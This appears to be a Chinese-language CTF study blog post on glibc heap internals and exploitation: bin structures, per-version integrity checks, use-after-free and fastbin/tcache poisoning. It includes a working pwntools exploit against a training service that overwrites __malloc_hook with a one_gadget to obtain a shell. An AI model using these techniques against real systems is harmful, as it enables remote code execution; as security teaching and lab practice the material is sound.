pwn·glibc堆基础

Posted by Zephyr on Sunday, August 18, 2024

堆基础知识

在linux内存管理中,栈从高地址向低地址生长,而堆是从低地址向高地址生长。学过csapp的人知道,系统调用是一个 trap 类型的 中断 如果我们频繁调用 syscall 会使得程序经常在 KernelUser 模式之间切换,这个性能开销是很大的,因此很多库都会向内核申请一大块整体的内存,然后自行管理这一块内存,来切割、分配、回收、合并等操作。

分配

Ptmalloc

当我们第一次调用 malloc 函数的时候初始化 main_arena ,并向 kernel 申请一大块内存,再从这个内存中分配处一个 Chunk ,然后返回给程序。

Untitled

Untitled

ptmalloc 中, Chunk 分为

  • Allocated Chunk
  • Free Chunk
  • Top Chunk

Bins 分成

  • Fastbin
  • Small Bin
  • Large Bin
  • Unsorted Bin
  • Tcache(glibc 2.26后)

Bins 就是垃圾桶的意思,管理 free 后的 Chunk

Chunk

Allocated Chunks

一个典型的 Chunk 的示意图如下

Untitled

  • prev_size/data : 临近的上一个 Chunksizedata

如果上一个 Chunk 是被 free 了的,那这一部分就是size,如果上一个 Chunk 是正在使用中,那么他就可以将这一部分复用给 Chunk 来加大空间。

  • size: 本 ChunkSize
  • A-bit:是否由其他的 arena 管理,而非 main_arena
  • M-bit: 是否由 mmap 创造出来
  • P-bit: 临近的上一个Chunk是否在使用

注:如果P置为1,那么 prev_size 就会作为 data 给上一个 Chunk 使用。

最上面的0x10 bytes我们经常叫 meta data (元数据)

例如我们malloc两个0x10的chunk,然后free前一个,再malloc一个0x18的chunk,我们会发现这个新的0x18的chunk大小仍然是0x20,这就是prev_size作为了上一个chunk的data来保存数据

Untitled

Chunk的大小

Chunk 是要和 0x10 对齐的,比如我们 malloc(0x10) ,需要先加上 0x10metadata ,然后再和 0x10 对齐,变成 0x20

Untitled

举个例子

现在我们 malloc(0x29) ,然后写入 0x29A

Untitled

我们可以计算出 Chunk Size=(0x29+0x8+0xf)&~0xf=0x40

下一个 Chunk 的size是 0x20ce0,其中 P-bit 被置1,因此左下角的 XXXX 就是本 Chunk 的数据。

Free Chunk

FreeChunk 会根据 Size 进入到不同的 Bins 中,一个被 Free 了的 Chunk 长这样

Untitled

其中 fdforward Pointer ,指向下一个 Free ChunkbkBackward Pointer ,指向上一块 Free Chunk ,glibc通过 fd,bk 将各个 Free Chunk 串联起来

当我们 Free 掉上面这个 Chunk ,下一个 Chunk 将会采用 prev_size ,然后 P-bit 被置0。这样glibc可以通过 P-bit 来判断上一个 Chunk 的状态,并且可以通过 Prev_size 来找到这个 Chunk 的大小。

Untitled

Top Chunk

是在 Heap 顶端的 Chunk ,代表着剩余的空间,天生就是被切割的命。

Untitled

malloc 在分配一个新的空间时候,如果什么都找不到,就会从 Top Chunk 下面切割一块适合的大小,然后返回给程序。如果 Top Chunk 不够分配的大小,就会 brk() 一个新的巨大的内存,然后然后将这个新的内存块作为 Top Chunk ,并且将原来的老的 Top Chunk 丢到 Unsorted Bin

各种bins

Tcache

Tcache是从 libc-2.26 后使用的,速度比 Fastbin 更快,但是少了很多安全检查。

每个thread都会有维护一个 Tcache

Tcache 有很多,从0x20,0x30,0x40 一直到0x410

每个Tcache最多赛7个Chunks

Free 这个 Chunk 时,不会清除下一块的 P-bit

通过 Tcache-perthread-struct 来管理 Tcache ,指向这个结构的指针存在于 TLS

Untitled

其中上面的 Counts 标记了当前大小的数量,下面的 Entry 则指向了对应大小的第一个 Free Chunk

Tcache 的单链表采用头插法,后 FreeChunk 在链表前面。

例如我们当前的线程名字叫 Ben

Untitled

每一个被 FreeChunkfd 指针充当单链表的 next 指针,而 bk 指针则作为 key 指回Tcache-perthread-struct,程序在 free 的时候,会检查这个key是否和当前的这个perthread_struct是否相等。

demo

比如我们申请3个大小是 0x20Chunk

Untitled

然后我们free这三个chunk

Untitled

当我们malloc的时候,他会最初找tcache里面相同大小的freed_chunk,然后返回给程序

Untitled

但是这里有个问题,tcache是一个 LIFO 结构,会从链表头摘下一个 Chunk 然后返回给程序,他会将 当前的 next 指针赋值给 Chunk ,因此我们可以改这个 next 也就是 fd 指针为一个我们喜欢的地址,比如是栈上的一个地址,然后再分配的时候,就会将栈上的地址作为一个区块拿给我们,就可以实现任意地址写入。

Tcache总结

fastbin 类似

  • 都是LIFO
  • free 时,如果下一块是 Top Chunk 不会合并进去
  • 都不会吧下一个 P-bit置0(其实我们可以理解为这个东西被tcache和fastbin截获了,他们用着,马上就会分配出去,所以不改pbit

Size Rangefastbin 大很多

每个 Tcacheentry 最多能装7个 chunk (所以我们可以先将对应大小的tcache塞满,然后打fastbin dup)

fastbin的fd指的是chunk header,而 tcache的fd指的是chunk data

常见利用

堆溢出

可以越界写入,将下一个 Chunk 改掉,比如改一下 Size 啊。

例子

例如我们有一个堆块存着用户的信息

Untitled

然后

Untitled

UAF

USE-AFTER-FREE

也就是将一个chunk free之后,对应的指针没有清零,因此我们还可以访问这块内存。

也就是我们可以读取和更改这个free chunk的内存数据

例子

现在我们申请了两个chunk 分别是 Chunk1Chunk2

Untitled

然后我们 freeChunk2

然后我们读取 Chunk2 的8bytes,就可以获取到堆地址

Untitled

或者往 Chunk2 中写入8个bytes,就可以修改 fastbin 或者 tcache 链表

Untitled

不同libc版本的校验

2.23

fastbin:对size和对应fastbinsize的校验

smallbin:完整性的检查(并不完整)

/code bck→fd==victim

unsortedbin:检查victim size是否合理

对bck→fd是否等于victim进行校验(甚至堆块切割的时候也有校验)

unlink:对双向链表(largebin)增加对完整性的校验

/code if (__builtin_expect (fd->bk != p || bk->fd != p, 0)) malloc_printerr (“corrupted double-linked list”);

对largebin 增加对nextsize系列的完整性校验

2.27

tcache:最原始状态 并无什么校验

unlink:新增对presize和size的一致性校验 /code if (chunksize (p) != prev_size (next_chunk (p))) malloc_printerr (“corrupted size vs.

2.28∶

unsortedbin:新增对链表完整性的校验

也就是会校验victim→fd是否等于unsortedbin头 不影响unsortedbin写入一个大值

2.29:

tcache:结构体新增key字段(放在了bk字段)导致无法随意分配

可以尝试leak key伪造区块

unsorted bin:除了对本身size检查以外

还增加了对下一个的size校验

下一个的presize校验

以及下一个的pre inuse位校验 unsortedbin attack基本失效

还有双向链表的检验

top:新增对size的校验 遏制了house of force

2.32:

fastbin:校验堆块是否对齐

/code if (__glibc_unlikely (misaligned_chunk (victim))) malloc_printerr (“malloc(): unaligned fastbin chunk detected 2”);

单链表:引入了safe linking

单链表fd的值变成了P xor (L»12)

泄露出堆地址之后即可正常伪造fd

fastbinDup

fastbin

Untitled

Untitled

Untitled

这里面 需要注意的是fastbin指向的是header而不是data部分,因此如果要写入一些奇怪的东西 比如libc-one-gadget,应该是那个地址往上0x10

Untitled

Untitled

lilac

easynote

https://www.cnblogs.com/hed10ne/p/17456751.html#easynote

构造一个chunk,使其进入Unsorted Bin,然后打印fd指针即可获取一个与 main_arena 有固定偏移的地址,通过动态调试同时获取这个地址和libc基址,即可获取此地址与libc之间的偏移,从获取libc基址。

  1. 申请大小为4000的准备进入Unsorted Bin的内存,其编号为0
  2. 申请大小为4000的,防止0号内存合并进top chunk
  3. 释放掉0号内存,使其进入Unsorted Bin,此时原本指向数据的指针将指向chunk结构体的fd成员变量。
  4. 输出0号内存的值,获取 main_arena 有固定偏移的地址
  5. 通过调试可以获取到此时libc基址,算出地址与libc的偏移为0x3c4b78
one_gadget libc-2.23.so > pwn.txt
0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL || {[rsp+0x30], [rsp+0x38], [rsp+0x40], [rsp+0x48], ...} is a valid argv

0xf03a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL || {[rsp+0x50], [rsp+0x58], [rsp+0x60], [rsp+0x68], ...} is a valid argv

0xf1247 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL || {[rsp+0x70], [rsp+0x78], [rsp+0x80], [rsp+0x88], ...} is a valid argv

使用Fastbin Attack实现任意地址写,主要思想是控制在__malloc_hook附近寻找可以当作"进入fastbinchunk“的结构体,然后通过UAF将进入fastbinchunkfd成员变量修改成构造的结构体地址,使__malloc_hook附近构造的结构体进入fastbin尾部,使其能够通过malloc获取__malloc_hook附近的指针,以便覆盖__malloc_hook的值。

  1. 寻找__malloc_hook附近的内存,发现__malloc_hook上方存在0x000000000000007F,适合作为chunksize,此时size对于__malloc_hook的偏移为0x1B,chunk地址距离size地址还差一个prev_size成员变量,因此chunk地址需要__malloc_hook地址减去0x23,其可malloc的大小为0x60(chunk大小减去prev_sizesizemalloc出来的大小为可储存的用户数据大小为0x6F,又因为需要和2 * SIZE_SZ对齐,所以我们只能申请0x60的大小)
  2. 申请大小为0x60(十进制96)的内存
  3. 释放掉刚刚申请的内存使其进入fastbin
  4. 通过UAF修改fd指针为__malloc_hook0x23
  5. 申请大小为0x60的内存,将刚刚进入fastbin的内存申请回来
  6. 再次申请大小为0x60的内存,获取__malloc_hook附近的指针
  7. 将其内存赋值为gadget准备获取shell(因为实际上并不能直接获取)

__malloc_hook + __realloc_hook

经过测试,发现几个gadget都不能满足要求,这时候就需要调整内存结构使其满足gadget的需求,我们选取要求[rsp+0x30] == NULL的gadget使其满足get shell的要求,我们可以通过将__mallloc_hook设置成realloc附近地址(具体选哪里取决于我们用多少个push能get shell),再将__realloc_hook设置成gadget来获取shell(因为realloc有好多push可以改变rsp使其更有可能满足gadget条件),经过测试,直接使用realloc即可get shell。

from pwn import *
context.arch  = 'amd64'
# context.arch = 'amd64'
context.log_level = 'debug'
# p = process(["./libc6-i386_2.31-0ubuntu9.14_amd64.so", "./ISCC_easy"],env={"LD_PRELOAD":"./libc6-i386_2.31-0ubuntu9.14_amd64.so"})
# p = process('./ISCC_easy')
# p = remote("182.92.237.102", 10013)
context.terminal =['tmux','splitw','-h']

# p = process("./pwn")
p = remote("train.hitctf.cn",25931)
libc = ELF("./libc-2.23.so")

def add(length, payload):
    p.sendafter("5. exit",str(1))
    p.sendafter("The length of your content --->",str(length))
    p.sendafter("Content --->",payload)

def edit(index, length, payload):
    p.sendafter("5. exit",str(2))
    p.sendafter("Index --->",str(index))
    p.sendafter("The length of your content --->",str(length))
    p.sendafter("Content --->",payload)

def delete(index):
    p.sendafter("5. exit",str(3))
    p.sendafter("Index --->",str(index))

def show(index):
    p.sendafter("5. exit",str(4))
    p.sendafter("Index --->",str(index))

def d():
    gdb.attach(p)
    pause()

add(4000,b'a')
add(4000,b'a')
delete(0)
# d()
show(0)
p.recvuntil("Content: ")
leak_data = u64(p.recvuntil(b'done')[:-5].ljust(8,b'\x00'))
success(f"leak_data--->{hex(leak_data)}")
# d()
libc_base = leak_data - 0x3c4b78
success(f"libc_base--->{libc_base}")
# d()
# d()
malloc_hook = libc_base + libc.sym['__malloc_hook']
og = libc_base + 0x4527a
realloc_addr = libc_base + libc.sym['realloc']

add(0x60,b'aaaa') # 2
delete(2)
edit(2,9,p64(malloc_hook-0x23)) # chunk.fd -> malloc_hook - 0x23
add(0x60,b'aaaa') # 拿到这个 下一个就是malloc_hook
# d()
# gdb.attach(p)
add(0x60, b'A'*11+p64(og)+p64(realloc_addr)) # 改成og

# p.sendafter("5. exit",str(1))
# p.sendafter("The length of your content --->",str(96))

p.interactive()
  1. find_fake_fastusage: find_fake_fast [-h] addr sizeFinds candidate fake fast chunks that will overlap with the specified address. Used for fastbin dups and house of spirit.用于house of spirit

tcachedup

低版本libc

低版本libc对tcache几乎没有任何校验,我们可以将一个堆块free,让他进入 tcache bins 然后利用 uaffd 指针改写为我们需要的地址(这里甚至没有对 size 位的校验)

注意: tcache中直接指向数据部分,而 fastbin 指向的是 数据部分往上 0x10chunk header

注意:申请的时候 tcache 中最好要有两个及以上堆块,否则我们改了第一个 tcache 中的 fd 申请之后 counts 变为0,为了拿到我们想要地址的写入,我们需要再 malloc 一块,而这个时候会爆而挂掉

高版本libc

高版本libc下的 next 指针计算方法为 next_addr ^ (tcache_addr >> 12)

  • 当 tcachebin 链表中只有一个 chunk 的时候,此时 chunk->next << 12 即可得到堆地址。
  • 当 tcachebin 链表的前两个 chunk 的地址相差不是很大的时候,可以用下面的公式计算:
def calc_heap(addr):
    s = hex(addr)[2:]
    s = [int(x, base=16) for x in s]
    res = s.copy()
    for i in range(9):
        res[3+i] ^= res[i]
    res = "".join([hex(x)[2:] for x in res])
    return int16_ex(res)

此外,由于 key 的存在,我们不能 double free ,可以填满 tcachefastbin ,如果能改写 key 也可以直接绕过

image.png

image.png

free 的代码中加了检查

image.png

如果 freechunk keytcache , 则会怀疑他已经被 free 了一次,遍历 tcache 找是不是已经被 free 过了